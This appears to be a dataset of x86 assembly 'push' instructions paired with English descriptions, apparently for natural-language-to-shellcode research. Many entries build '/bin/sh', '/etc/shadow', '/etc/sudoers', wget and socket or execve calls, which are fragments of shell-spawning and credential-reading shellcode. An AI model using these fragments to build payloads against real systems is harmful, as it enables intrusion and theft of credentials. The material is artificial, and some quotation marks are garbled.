| push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push the string Ô
|
| push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push Ô
|
| push 0x68736162 \n push 0x2f6e6962 \n push 0x2f2f2f2f push the string Ô
|
| push 0x68736164 push 'hsad' on stack
|
| push 0x68736164 push 0x68736164 to the stack
|
| push 0x68736164 push 0x68736164 onto the stack
|
| push 0x68736164 \n push 0x2f6e6962 \n push 0x2f2f2f2f push (
|
| push 0x6873732f push the value 0x6873732f onto the stack
|
| push 0x6873732f \n push 0x6374652f \n mov eax, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the eax register to the stack register
|
| push 0x6873732f \n push 0x6374652f \n mov ebx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
|
| push 0x6873732f \n push 0x6374652f \n mov ecx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
|
| push 0x6873732f \n push 0x6374652f \n mov edi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edi register to the stack register
|
| push 0x6873732f \n push 0x6374652f \n mov edx, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the edx register to the stack register
|
| push 0x6873732f \n push 0x6374652f \n mov esi, esp push the value 0x6873732f and the value 0x6374652f onto the stack and point the esi register to the stack register
|
| push 0x68737a2f push hsz/ on stack
|
| push 0x68737a2f push 0x68737a2f onto the stack
|
| push 0x68737a2f \n push 0x6e69622f push the string Ô/bin/zshÕ on stack
|
| push 0x68909090 \n pop eax load hexadecimal value 0x68909090 into eax
|
| push 0x69616863 push the 0x69616863 onto the stack
|
| push 0x69622f2f push Ôib
|
| push 0x69622f2f push the 0x69622f2f onto the stack
|
| push 0x69622f2f push 0x69622f2f to the stack
|
| push 0x69622f2f push 0x69622f2f onto the stack
|
| push 0x69622f2f \n mov eax, esp push the value 0x69622f2f onto the stack and point the eax register to the stack register
|
| push 0x69622f2f \n mov ebx, esp push the value 0x69622f2f onto the stack and point the ebx register to the stack register
|
| push 0x69622f2f \n mov ecx, esp push the value 0x69622f2f onto the stack and point the ecx register to the stack register
|
| push 0x69622f2f \n mov edx, esp push the value 0x69622f2f onto the stack and point the edx register to the stack register
|
| push 0x69622f3a push 0x69622f3a onto the stack
|
| push 0x69622f65 push 0x69622f65 onto the stack
|
| push 0x69622f65 push 0x69622f65 to the stack
|
| push 0x69622f65 push the 0x69622f65 onto the stack
|
| push 0x6962732f push 0x6962732f onto the stack
|
| push 0x6962732f push the 0x6962732f onto the stack
|
| push 0x6b2f7379 push Ôk/stÕ label
|
| push 0x6c626174 push 0x6c626174 onto the stack
|
| push 0x6d6f632e \n push 0x656c676f \n push 0x6f672031 \n push 0x2e312e31 \n push 0x2e373231 push the address 127.1.1.1 google.com on stack
|
| push 0x6d6f646e push ÔmodnÕ on stack
|
| push 0x6d722f2f push the 0x6d722f2f onto the stack
|
| push 0x6d726574 push 0x6d726574 onto the stack
|
| push 0x6d726574 push 0x6d726574 to the stack
|
| push 0x6e push the 0x6e onto the stack
|
| push 0x6e69622f push ascii nib/ onto stack
|
| push 0x6e69622f push nib/ string on stack
|
| push 0x6e69622f push Ô/binÕ on stack
|
| push 0x6e69622f push nib/ on stack
|
| push 0x6e69622f push /bin to the stack
|
| push 0x6e69622f push 0x6e69622f onto the stack
|
| push 0x6e69622f push nib/
|
| push 0x6e69622f push the 0x6e69622f onto the stack
|
| push 0x6e69622f push the value 0x6e69622f onto the stack
|
| push 0x6e69622f \n push 0x7273752f \n mov eax, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the eax register to the stack register
|
| push 0x6e69622f \n push 0x7273752f \n mov ebx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ebx register to the stack register
|
| push 0x6e69622f \n push 0x7273752f \n mov ecx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the ecx register to the stack register
|
| push 0x6e69622f \n push 0x7273752f \n mov edx, esp push the value 0x6e69622f and the value 0x7273752f onto the stack and point the edx register to the stack register
|
| push 0x6e776f64 push the 0x6e776f64 onto the stack
|
| push 0x6e7a762d push -vzn parameter on the stack
|
| push 0x6e7a762d push 0x6e7a762d onto the stack
|
| push 0x6e7a762d \n mov ebp, esp push the value 0x6e7a762d onto the stack and point the ebp register to the stack register
|
| push 0x6e7a762d \n mov ebx, esp push the value 0x6e7a762d onto the stack and point the ebx register to the stack register
|
| push 0x6e7a762d \n mov edi, esp push the value 0x6e7a762d onto the stack and point the edi register to the stack register
|
| push 0x6e7a762d \n mov esi, esp push the value 0x6e7a762d onto the stack and point the esi register to the stack register
|
| push 0x6f635f64 push 0x6f635f64 onto the stack
|
| push 0x6f723a30 push 0x6f723a30 onto the stack
|
| push 0x7 \n mov edx, esp push the value 0x7 onto the stack and point edx to the stack register
|
| push 0x70692f6e push 0x70692f6e onto the stack
|
| push 0x70692f6e push the 0x70692f6e onto the stack
|
| push 0x706d742f push 0x706d742f onto the stack
|
| push 0x706d742f push 0x706d742f to the stack
|
| push 0x706d742f push the 0x706d742f onto the stack
|
| push 0x7268732f push 0x7268732f onto the stack
|
| push 0x72702f2f push Ôrp
|
| push 0x72706475 push 0x72706475 onto the stack
|
| push 0x7273752f push 0x7273752f onto the stack
|
| push 0x7273752f push 0x7273752f to the stack
|
| push 0x732f636f push Ôs/coÕ on stack
|
| push 0x735f6176 push Ôs_avÕ on stack
|
| push 0x7361702f push 0x7361702f to the stack
|
| push 0x7361702f push 0x7361702f onto the stack
|
| push 0x73644d24 push 0x73644d24 onto the stack
|
| push 0x7369642d push 0x7369642d to the stack
|
| push 0x7369642d push 0x7369642d onto the stack
|
| push 0x7372656f push the 0x7372656f onto the stack
|
| push 0x7372656f push 0x7372656f to the stack
|
| push 0x7372656f push 0x7372656f onto the stack
|
| push 0x7372656f \n push 0x6475732f \n push 0x6374652f push Ò/etc/sudoersÓ on stack
|
| push 0x7372656f \n push 0x6475732f \n push 0x6374652f push Ô/etc/sudoersÕ into stack
|
| push 0x7374736f push 0x7374736f onto the stack
|
| push 0x7374736f push the 0x7374736f onto the stack
|
| push 0x7374736f \n push 0x682f6374 \n push 0x652f2f2f push the string
|
| push 0x74 push 0x74 onto the stack
|
| push 0x74 push 0x74 to the stack
|
| push 0x74 \n push 0x6567772f \n push 0x6e69622f \n push 0x7273752f \n mov ebx,esp load the string /usr/bin/wget in ebx regsiter
|
| push 0x742f2f2f push 0x742f2f2f onto the stack
|
| push 0x742f2f2f push the 0x742f2f2f onto the stack
|
| push 0x742f3a31 push 0x742f3a31 onto the stack
|
| push 0x74303072 push 0x74303072 onto the stack
|
| push 0x7461632f \n push 0x6e69622f \n mov eax, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the eax register to the stack register
|
| push 0x7461632f \n push 0x6e69622f \n mov ebx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ebx register to the stack register
|
| push 0x7461632f \n push 0x6e69622f \n mov ecx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the ecx register to the stack register
|
| push 0x7461632f \n push 0x6e69622f \n mov edi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edi register to the stack register
|
| push 0x7461632f \n push 0x6e69622f \n mov edx, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the edx register to the stack register
|
| push 0x7461632f \n push 0x6e69622f \n mov esi, esp push the value 0x7461632f and the value 0x6e69622f onto the stack and point the esi register to the stack register
|
| push 0x74652f2f push the 0x74652f2f onto the stack
|
| push 0x74652f2f push 0x74652f2f onto the stack
|
| push 0x746f6f72 push 0x746f6f72 onto the stack
|
| push 0x74756873 push the 0x74756873 onto the stack
|
| push 0x74756f2f push 0x74756f2f onto the stack
|
| push 0x74756f2f push the 0x74756f2f onto the stack
|
| push 0x752f2f2f push 0x752f2f2f onto the stack
|
| push 0x752f2f2f push 0x752f2f2f to the stack
|
| push 0x7665642f push 0x7665642f onto the stack
|
| push 0x7665642f push the 0x7665642f onto the stack
|
| push 0x76766c2d push 0x76766c2d onto the stack
|
| push 0x76766c2d push 0x76766c2d to the stack
|
| push 0x76766c2d push the 0x76766c2d onto the stack
|
| push 0x776f6461 \n push 0x68732f63 \n push 0x74652f2f push the string Ô
|
| push 0x776f6461 \n push 0x6873672f \n push 0x6374652f \n mov ebx, esp load the string Ô/etc/gshadowÕ into ebx regsiter
|
| push 0x776f6490 \n pop ebx load hexadecimal value 0x776f6490 into ebx register
|
| push 0x78 push 0x78 onto the stack
|
| push 0x78 push 0x78 to the stack
|
| push 0x78 push the 0x78 onto the stack
|
| push 0x78 \n mov ebx, esp move the character x in ebx register
|
| push 0x782f2f32 push 0x782f2f32 onto the stack
|
| push 0x782f2f32 push 0x782f2f32 to the stack
|
| push 0x782f6e69 push 0x782f6e69 onto the stack
|
| push 0x782f6e69 push 0x782f6e69 to the stack
|
| push 0x78534a52 push 0x78534a52 onto the stack
|
| push 0x79616c70 push 0x79616c70 to the stack
|
| push 0x79616c70 push 0x79616c70 onto the stack
|
| push 0x8 push 0x8 onto the stack
|
| push 0x81e3a8c0 push inet_addr 192.168.227.129 (hex)
|
| push 0x81e3a8c0 push 0x81e3a8c0 onto the stack
|
| push 0x8501a8c0 push ip address 192.168.1.133 (hex)
|
| push 0x8501a8c0 push 0x8501a8c0 onto the stack
|
| push 0xa push af_inet6 value, 10, on stack
|
| push 0xa push af_inet6 = 10 on stack
|
| push 0xa push 0xa onto the stack
|
| push 0xa push 0xa to the stack
|
| push 0xa01a8c0 push the 0xa01a8c0 onto the stack
|
| push 0xb push 0xb to the stack
|
| push 0xb push 0xb onto the stack
|
| push 0xb \n pop eax load execve in eax
|
| push 0xb \n pop eax load __nr_execve into eax register
|
| push 0xb \n pop eax load __nr_execve syscall into eax register
|
| push 0xb \n pop eax load execve syscall number into eax register
|
| push 0xb \n pop eax load execve syscall number into eax reegisster
|
| push 0xb \n pop eax load execve syscall into eax register
|
| push 0xb pop eax push the hexadecimal value 0xb on the stack and put it in eax register taking it from the stack
|
| push 0xc \n pop eax \n pop edx load hexadecimal value into eax and edx content
|
| push 0xdebf push 0xdebf value to the stack
|
| push 0xefffff7f push ip address 127.255.255.254 on stack
|
| push 0xefffff7f push 0xefffff7f onto the stack
|
| push 0xf push 0xf onto the stack
|
| push 0xf \n pop eax load chmod syscall number into eax register
|
| push 0xf \n pop eax load chmod syscall into eax
|
| push 0xf \n pop eax load chmod syscall into eax register
|
| push 0xffffff90 \n pop ebx push hexadecimal value 0xffffff90 into ebx register
|
| push 0xfffffffa push hexadecimal value 0xfffffffa on stack
|
| push 1 push 1 to the stack
|
| push 1 push 1 onto the stack
|
| push 10 push 10 onto the stack
|
| push 10 \n mov eax, esp push the value 10 onto the stack and point eax to the stack register
|
| push 102 push syscall for socketcall() 102
|
| push 102 push 102 onto the stack
|
| push 12 \n mov ebx, esp push the value 12 onto the stack and point ebx to the stack register
|
| push 15 \n mov ecx, esp push the value 15 onto the stack and point ecx to the stack register
|
| push 16 push 16 onto the stack (addrlen = 16)
|
| push 16 push the size of strcut sockaddr_in
|
| push 16 push 16 onto the stack
|
| push 2 push 2 onto stack (af_inet = 2)
|
| push 2 push 2 onto the stack
|
| push 20 push 20 onto the stack
|
| push 20 push the 20 onto the stack
|
| push 216 push 216 value to the stack
|
| push 6 push 6 onto the stack
|
| push 6 \n push 1 \n push 10 push the values 6, 1 and 10 on stack
|
| push ax push ax onto the stack
|
| push ax push ax to the stack
|
| push ax push the ax onto the stack
|
| push bx push bx on the stack
|
| push bx push bx content on the stack
|
| push bx push bx onto the stack
|
| push bx push bx to the stack
|
| push bx push the contents of the bx register onto the stack
|
| push byte -1 push the byte -1 onto the stack
|
| push byte +0x1 push the byte +0x1 onto the stack
|
| push byte +0x10 push the byte +0x10 onto the stack
|
| push byte +0x2 push the byte +0x2 onto the stack
|
| push byte +0x3 push the byte +0x3 onto the stack
|
| push byte +0x46 push the byte +0x46 onto the stack
|
| push byte +0x6 push the byte +0x6 onto the stack
|
| push byte +0x66 push the byte +0x66 onto the stack
|
| push byte +0x68 push byte +0x68 on stack
|
| push byte +0x7f push the byte +0x7f onto the stack
|
| push byte +0x8 push the byte +0x8 onto the stack
|
| push byte +0xb push the byte +0xb onto the stack
|
| push byte +0xb \n pop eax load 11 into eax regsiter
|
| push byte 0 push byte 0 onto stack
|
| push byte 0x0 push the byte 0x0 onto the stack
|
| push byte 0x01 push the byte 0x01 onto the stack
|
| push byte 0x01 push the byte 0x01 to the stack
|
| push byte 0x01 \n pop eax put the syscall 0x01 into the eax register
|
| push byte 0x02 push 02 onto the stack (af_inet = 2)
|
| push byte 0x02 push the byte 0x02 onto the stack
|
| push byte 0x02 push the byte 0x02 to the stack
|
| push byte 0x02 \n pop eax put the syscall 0x02 into the eax register
|
| push byte 0x04 push the byte 0x04 onto the stack
|
| push byte 0x04 \n pop eax put the syscall 0x04 into the eax register
|
| push byte 0x05 push the byte 0x05 onto the stack
|
| push byte 0x05 \n pop eax put the syscall 0x05 into the eax register
|
| push byte 0x06 push the byte 0x06 onto the stack
|
| push byte 0x06 \n pop eax put the syscall 0x06 into the eax register
|
| push byte 0x0b push the byte 0x0b onto the stack
|
| push byte 0x0b \n pop eax load execve syscall number into eax register
|
| push byte 0x0b \n pop eax put the syscall 0x0b into the eax register
|
| push byte 0x1 push the byte 0x1 to the stack
|
| push byte 0x1 push the byte 0x1 onto the stack
|
| push byte 0x1 \n mov ecx, esp push the byte 0x1 onto the stack and point ecx to the stack register
|
| push byte 0x1 \n pop ebx \n push byte ebx load the byte sock_stream = 1 into ebx register then push ebx content on stack
|
| push byte 0x1 \n pop edx load the byte 0x1 into edx register
|
| push byte 0x1 \n pop esi load byte 0x1 into esi
|
| push byte 0x1 \n push byte 0x2 push socket parameters sock_stream = 1 and af_inet = 2 on stack
|
| push byte 0x10 push the byte 0x10 on stack
|
| push byte 0x10 push the byte 0x10 onto the stack
|
| push byte 0x10 \n pop eax put the syscall 0x10 into the eax register
|
| push byte 0x10 \n push ecx \n push esi \n mov ecx, esp save 16, ecx contents and the saved socket descriptor (in esi) on ecx
|
| push byte 0x11 \n mov ebx, esp push the byte 0x11 onto the stack and point ebx to the stack register
|
| push byte 0x17 push the byte 0x17 onto the stack
|
| push byte 0x17 \n pop eax put the syscall 0x17 into the eax register
|
| push byte 0x1c push the size of sockaddr_in6 = 28 on stac
|
| push byte 0x1c push the hexadecimal byte value 0x1c that is the size of sockaddr_in6
|
| push byte 0x1c push the byte 0x1c onto the stack
|
| push byte 0x1c \n pop eax put the syscall 0x1c into the eax register
|
| push byte 0x1f push the byte 0x1f onto the stack
|
| push byte 0x1f \n pop eax put the syscall 0x1f into the eax register
|
| push byte 0x2 define the queueliit = 2 and push it on stack
|
| push byte 0x2 push the hexadecimal value 0x2 on stack
|
| push byte 0x2 push af_inet = 2 on stack
|
| push byte 0x2 push the byte 0x2 onto the stack
|
| push byte 0x2 push the byte 0x2 to the stack
|
| push byte 0x2 \n mov ecx, esp push the byte 0x2 onto the stack and point ecx to the stack register
|
| push byte 0x2 \n pop eax put the syscall 0x2 into the eax register
|
| push byte 0x2 \n pop ecx load the hexadecimal value 0x2 into ecx register
|
| push byte 0x2 \n push esi push byte 0x2 adn esi content on stack
|
| push byte 0x2e push the byte 0x2e onto the stack
|
| push byte 0x2e \n pop eax put the syscall 0x2e into the eax register
|
| push byte 0x2f push the byte 0x2f onto the stack
|
| push byte 0x2f \n pop eax put the syscall 0x2f into the eax register
|
| push byte 0x3 push the byte 0x3 onto the stack
|
| push byte 0x3 \n pop eax put the syscall 0x3 into the eax register
|
| push byte 0x3 \n pop esi load byte 3 into esi register
|
| push byte 0x30 push hexadecimal value 0x30 as a byte on stack
|
| push byte 0x30 push the byte 0x30 onto the stack
|
| push byte 0x30 \n pop eax put the syscall 0x30 into the eax register
|
| push byte 0x3f push the byte 0x3f onto the stack
|
| push byte 0x3f \n pop eax load dup2 syscall numbere into eax register
|
| push byte 0x3f \n pop eax put the syscall 0x3f into the eax register
|
| push byte 0x4 push the byte 0x4 onto the stack
|
| push byte 0x4 \n pop eax put the syscall 0x4 into the eax register
|
| push byte 0x4 \n pop eax \n inc eax load __nr_open syscall into eax register
|
| push byte 0x43 syscall for sigaction()
|
| push byte 0x43 make the system call sigaction
|
| push byte 0x43 sigaction
|
| push byte 0x43 syscall for sigaction
|
| push byte 0x43 system call sigaction
|
| push byte 0x43 \n pop eax put syscall sigaction into the eax register
|
| push byte 0x43 \n pop eax put the syscall 0x43 into the eax register
|
| push byte 0x5 \n mov ebx, esp push the byte 0x5 onto the stack and point ebx to the stack register
|
| push byte 0x5 \n mov edx, esp push the byte 0x5 onto the stack and point edx to the stack register
|
| push byte 0x64 push the byte 0x64 to the stack
|
| push byte 0x64 push the byte 0x64 onto the stack
|
| push byte 0x64 \n pop eax put the syscall 0x64 into the eax register
|
| push byte 0x64 \n push word 0x7773 \n push word 0x7773 \n push 0x7361702f \n push 0x6374652f \n mov ebx, esp load the string /etc/passwd in abx register
|
| push byte 0x66 push the byte 0x66 onto the stack
|
| push byte 0x66 \n pop eax move the command socketcall = 102 in al register
|
| push byte 0x66 \n pop eax move the command socketcall = 102 into eax register
|
| push byte 0x66 \n pop eax load socketcall syscall number into eax regsiter
|
| push byte 0x66 \n pop eax put the syscall 0x66 into the eax register
|
| push byte 0x7 \n mov edx, esp push the byte 0x7 onto the stack and point edx to the stack register
|
| push byte 0x77 push the byte 0x77 to the stack
|
| push byte 0x77 push the byte 0x77 onto the stack
|
| push byte 0x77 \n pop eax put the syscall 0x77 into the eax register
|
| push byte 0x77 \n push word 0x6f64 \n push 0x6168732f \n push 0x6374652f \n mov ebx, esp load the string /etc/shadow in ebx register
|
| push byte 0x8 \n mov edx, esp push the byte 0x8 onto the stack and point edx to the stack register
|
| push byte 0xb push the byte 0xb onto the stack
|
| push byte 0xb \n pop eax load execve syscall into eax register
|
| push byte 0xb \n pop eax put the syscall 0xb into the eax register
|
| push byte 0xc push the byte 0xc onto the stack
|
| push byte 0xc \n pop eax put the syscall 0xc into the eax register
|
| push byte 0xc \n pop eax \n dec eax load execve syscall into eax register
|
| push byte 1 move byte 1 onto stack
|
| push byte 1 push byte 1 onto the stack
|
| push byte 1 push the byte 1 to the stack
|
| push byte 1 push the byte 1 onto the stack
|
| push byte 1 \n mov eax, esp push the byte 1 onto the stack and point eax to the stack register
|
| push byte 1 \n pop eax load exit syscall into eax register
|
| push byte 1 \n pop eax load __nr_execve syscall into eax register
|
| push byte 1 \n pop eax put the syscall 1 into the eax register
|
| push byte 1 \n pop eax \n int 0x80 load syscall exit in al register and call kernel
|
| push byte 10 push the byte 10 onto the stack
|
| push byte 10 push the byte 10 to the stack
|
| push byte 10 \n pop eax put the syscall 10 into the eax register
|
| push byte 11 push the byte 11 onto the stack
|
| push byte 11 push the byte 11 to the stack
|
| push byte 11 \n pop eax put the syscall 11 into the eax register
|
| push byte 15 push the byte 15 onto the stack
|
| push byte 15 push the byte 15 to the stack
|
| push byte 15 \n pop eax move the function chmod in al register
|
| push byte 15 \n pop eax put the syscall 15 into the eax register
|
| push byte 16 push byte 16 onto stack
|
| push byte 16 push the byte 16 onto the stack
|
| push byte 16 \n pop eax put the syscall 16 into the eax register
|
| push byte 16 \n push ecx \n push edi push 16, *ptr and file descriptor on stack
|
| push byte 17h push the byte 17h onto the stack
|
| push byte 17h \n pop eax put the syscall 17h into the eax register
|
| push byte 2 push byte 2 onto the stack
|
| push byte 2 push the byte 2 onto the stack
|
| push byte 2 \n pop eax put the syscall 2 into the eax register
|
| push byte 2 \n pop ecx load byte 2 into ecx register
|
| push byte 2 \n pop ecx save the byte 2 into ecx register
|
| push byte 2 \n pop edx load the byte 2 into edx register
|
| push byte 2 \n push esi push the byte 2 and esi content on stack
|
| push byte 25 push the byte 25 onto the stack
|
| push byte 25 \n pop eax put the syscall 25 into the eax register
|
| push byte 28 push the lenght of sockaddr_in6 = 28 byte
|
| push byte 28 push the byte 28 to the stack
|
| push byte 28 \n pop eax put the syscall 28 into the eax register
|
| push byte 3 \n mov ebx, esp push the byte 3 onto the stack and point ebx to the stack register
|
| push byte 37 push the byte 37 onto the stack
|
| push byte 37 \n pop eax put the syscall 37 into the eax register
|
| push byte 3h push the byte 3h onto the stack
|
| push byte 3h \n pop eax put the syscall 3h into the eax register
|
| push byte 4 push the byte 4 onto the stack
|
| push byte 4 \n pop eax load byte 4 into eax register
|
| push byte 4 \n pop eax load __nr_write into eax
|
| push byte 4 \n pop eax put the syscall 4 into the eax register
|
| push byte 49 push the byte 49 onto the stack
|
| push byte 49 \n pop eax put the syscall 49 into the eax register
|
| push byte 5 push 5 on stack
|
| push byte 5 push the byte 5 onto the stack
|
| push byte 5 \n pop eax load byte 5 into eax register
|
| push byte 5 \n pop eax load __nr_open into eax register
|
| push byte 5 \n pop eax put the syscall 5 into the eax register
|
| push byte 54 push the byte 54 onto the stack
|
| push byte 54 \n pop eax put the syscall 54 into the eax register
|
| push byte 6 push byte 6 onto the stack
|
| push byte 6 push the byte 6 onto the stack
|
| push byte 6 push the byte 6 to the stack
|
| push byte 6 \n pop eax put the syscall 6 into the eax register
|
| push byte 6 \n push byte 0x1 \n push byte 10 push the byte 6, 0x1 and 10 on stack
|
| push byte 67 push the byte 67 onto the stack
|
| push byte 67 \n pop eax load sigaction syscall number into eax register
|
| push byte 67 \n pop eax put the syscall 67 into the eax register
|
| push byte 70 push the byte 70 onto the stack
|
| push byte 70 \n pop eax put the syscall 70 into the eax register
|
| push byte 8 push the byte 8 onto the stack
|
| push byte 8 \ n pop eax load __nr_creat into al register
|
| push byte 8 \n pop eax put the syscall 8 into the eax register
|
| push byte 9 push the byte 9 onto the stack
|
| push byte 9 \n pop eax put the syscall 9 into the eax register
|
| push byte chmod_call push the byte chmod_call onto the stack
|
| push byte chmod_call \n pop eax move the function chmod in al register
|
| push byte CHMOD_CALL \n pop eax put the byte my_label into the eax register
|
| push byte CHMOD_CALL \n pop eax put the byte CHMOD_CALL into the eax register
|
| push byte L1 \n pop eax put the byte L1 into the eax register
|
| push byte my_value \n pop eax put the byte my_value into the eax register
|
| push byte VALUE \n pop eax put the byte VALUE into the eax register
|
| push cx push the contents of the cx register onto the stack
|
| push dword [ebp+16] push the dword [ebp+16] onto the stack
|
| push dword [edx+2] push the double word stored a edx+2 location on stack
|
| push dword [edx+2] push the doubleword [edx+2] to the stack
|
| push dword [edx+2] push the dword [edx+2] onto the stack
|
| push dword 0x00000000 push the doubleword 0x00000000 onto the stack
|
| push dword 0x0101017f push the dword 0x0101017f onto the stack
|
| push dword 0x017aa8c0 push the dword 0x017aa8c0 onto the stack
|
| push dword 0x0501a8c0 push the value of local ip = 192.168.1.5 on stack
|
| push dword 0x0501a8c0 push the dword 0x0501a8c0 onto the stack
|
| push dword 0x0a206873 push the double word 0x0a206873 onto the stack
|
| push dword 0x10 push the dword 0x10 onto the stack
|
| push dword 0x2 push the double word 2 onto the stack
|
| push dword 0x214c4f4c push the dword 0x214c4f4c onto the stack
|
| push dword 0x2335738c push the double word 0x2335738c onto the stack
|
| push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov eax, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the eax register to the stack register
|
| push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ebx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ebx register to the stack register
|
| push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov ecx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the ecx register to the stack register
|
| push dword 0x2f2f2f2f \n push dword 0x7273752f \n mov edx, esp push double word 0x2f2f2f2f and the double word 0x7273752f onto the stack and point the edx register to the stack register
|
| push dword 0x2f2f6e69 push the dword 0x2f2f6e69 onto the stack
|
| push dword 0x2f2f6e69 push the doubleword 0x2f2f6e69 to the stack
|
| push dword 0x2f3a2f3a push the double word 0x2f3a2f3a onto the stack
|
| push dword 0x2f3a3a30 push the dword 0x2f3a3a30 onto the stack
|
| push dword 0x2f6e6962 push the double word 0x2f6e6962 onto the stack
|
| push dword 0x303a3a31 push the double word 0x303a3a31 onto the stack
|
| push dword 0x313a303a push the double word 0x313a303a onto the stack
|
| push dword 0x39396e2d \n mov ebp, esp push double word 0x39396e2d onto the stack and point the ebp register to the stack register
|
| push dword 0x39396e2d \n mov ebx, esp push double word 0x39396e2d onto the stack and point the ebx register to the stack register
|
| push dword 0x39396e2d \n mov edi, esp push double word 0x39396e2d onto the stack and point the edi register to the stack register
|
| push dword 0x39396e2d \n mov esi, esp push double word 0x39396e2d onto the stack and point the esi register to the stack register
|
| push dword 0x3a303a3a push the dword 0x3a303a3a onto the stack
|
| push dword 0x4227a28b push the doubleword 0x4227a28b onto the stack
|
| push dword 0x45525649 push the dword 0x45525649 onto the stack
|
| push dword 0x58494741 push the dword 0x58494741 onto the stack
|
| push dword 0x5f657a69 push the dword 0x5f657a69 onto the stack
|
| push dword 0x6164732f push the dword 0x6164732f onto the stack
|
| push dword 0x61702f2f push the dword 0x61702f2f onto the stack
|
| push dword 0x61702f63 push the dword 0x61702f63 onto the stack
|
| push dword 0x61722f6c push the dword 0x61722f6c onto the stack
|
| push dword 0x61747069 push the doubleword 0x61747069 to the stack
|
| push dword 0x61747069 push the dword 0x61747069 onto the stack
|
| push dword 0x62732f2f push the dword 0x62732f2f onto the stack
|
| push dword 0x62732f2f push the doubleword 0x62732f2f to the stack
|
| push dword 0x62732f2f \n mov ebx, esp push the doubleword 0x62732f2f onto the stack and point the ebx register to the stack register
|
| push dword 0x6374652f push the dword 0x6374652f onto the stack
|
| push dword 0x64616568 push the dword 0x64616568 onto the stack
|
| push dword 0x64777373 push the dword 0x64777373 onto the stack
|
| push dword 0x6567772f \n push dword 0x6e69622f \n push dword 0x7273752f \n mov ebx, esp push edx, the byte +0x74 and the chined double words Ô/usr/bin/wgeÕ into ebx register
|
| push dword 0x656e7265 push the dword 0x656e7265 onto the stack
|
| push dword 0x682f6365 \n push dword 0x78652f2f \n push dword 0x6f692e62 \n push dword 0x75687469 \n push dword 0x672e6d34 \n push dword 0x626d3362 push the string Ôb3mb4m.github.io
|
| push dword 0x68732f2f push hs
|
| push dword 0x68732f2f push the dword 0x68732f2f onto the stack
|
| push dword 0x68732f63 push the dword 0x68732f63 onto the stack
|
| push dword 0x68732f6e push the dword 0x68732f6e onto the stack
|
| push dword 0x69622f2f push the dword 0x69622f2f onto the stack
|
| push dword 0x69622f3a push the dword 0x69622f3a onto the stack
|
| push dword 0x6962732f push the dword 0x6962732f onto the stack
|
| push dword 0x6b2f7379 push the dword 0x6b2f7379 onto the stack
|
| push dword 0x6b6e756a push the dword 0x6b6e756a onto the stack
|
| push dword 0x6d6f646e push the dword 0x6d6f646e onto the stack
|
| push dword 0x6e69622f push nib/ onto stack
|
| push dword 0x6e69622f push the dword 0x6e69622f onto the stack
|
| push dword 0x6e69922f push the dword 0x6e69922f onto the stack
|
| push dword 0x6f702f6e push the dword 0x6f702f6e onto the stack
|
| push dword 0x6f726577 push the dword 0x6f726577 onto the stack
|
| push dword 0x7264632f push the dword 0x7264632f onto the stack
|
| push dword 0x72657355 push the dword 0x72657355 onto the stack
|
| push dword 0x732f636f push the dword 0x732f636f onto the stack
|
| push dword 0x73656c62 push the doubleword 0x73656c62 to the stack
|
| push dword 0x73656c62 push the dword 0x73656c62 onto the stack
|
| push dword 0x73656c62 \n push dword 0x61747069 \n mov edi,esp \n push dword 0x2f2f6e69 \n push dword 0x62732f2f \n mov ebx, esp load the string iptables in edi regsiter and load the string
|
| push dword 0x7461632f push the dword 0x7461632f onto the stack
|
| push dword 0x74652f2f push the dword 0x74652f2f onto the stack
|
| push dword 0x74652f2f \n mov eax, esp push double word 0x74652f2f onto the stack and point the eax register to the stack register
|
| push dword 0x74652f2f \n mov ebp, esp push double word 0x74652f2f onto the stack and point the ebp register to the stack register
|
| push dword 0x74652f2f \n mov ebx, esp push double word 0x74652f2f onto the stack and point the ebx register to the stack register
|
| push dword 0x74652f2f \n mov ecx, esp push double word 0x74652f2f onto the stack and point the ecx register to the stack register
|
| push dword 0x74652f2f \n mov edx, esp push double word 0x74652f2f onto the stack and point the edx register to the stack register
|
| push dword 0x74652f2f \n mov esi, esp push double word 0x74652f2f onto the stack and point the esi register to the stack register
|
| push dword 0x7665642f push the dword 0x7665642f onto the stack
|
| push dword 0x776f6461 push the dword 0x776f6461 onto the stack
|
| push dword 0x8140a8c0 push ipv4 address 192.168.64.129 (hex) on stack
|
| push dword 0x8140a8c0 push the doubleword 0x8140a8c0 to the stack
|
| push dword eax push the double word content of eax on stack
|
| push dword eax push the doube word eax content on stack
|
| push dword eax push sin6_addr as dword eax
|
| push dword eax push the doubleword eax to the stack
|
| push dword eax push the dword eax onto the stack
|
| push dword eax \n push dword eax push the double word eax content on stacck two times
|
| push dword eax \n push dword eax \n push dword eax \n push dword eax push 4 times dword contained in eax that represent ipv6 loopback
|
| push dword eax \n push dword eax \n push dword eax \n push dword eax push ipv6 loopback on stack as x4 dword eax
|
| push dword eax \n push dword eax \n push dword eax \n push dword eax push eax content as double word for 4 times
|
| push dword eax \n push dword eax \n push dword eax \n push dword eax \n push dword eax push the string v6_host.sin6_addr on stack
|
| push dword ebx push sin6_flowinfo=4 byte saved in ebx on stack
|
| push dword ebx push the doubleword ebx to the stack
|
| push dword ebx \n push dword ebx push ebx content as a double word on stack two times
|
| push dx push dx rergister on the stack
|
| push dx push dx content on stack
|
| push dx push dx onto the stack
|
| push eax push eax onto stack
|
| push eax push eax on the stack
|
| push eax push eax contents on the stack
|
| push eax push null terminating string on stack
|
| push eax push null
|
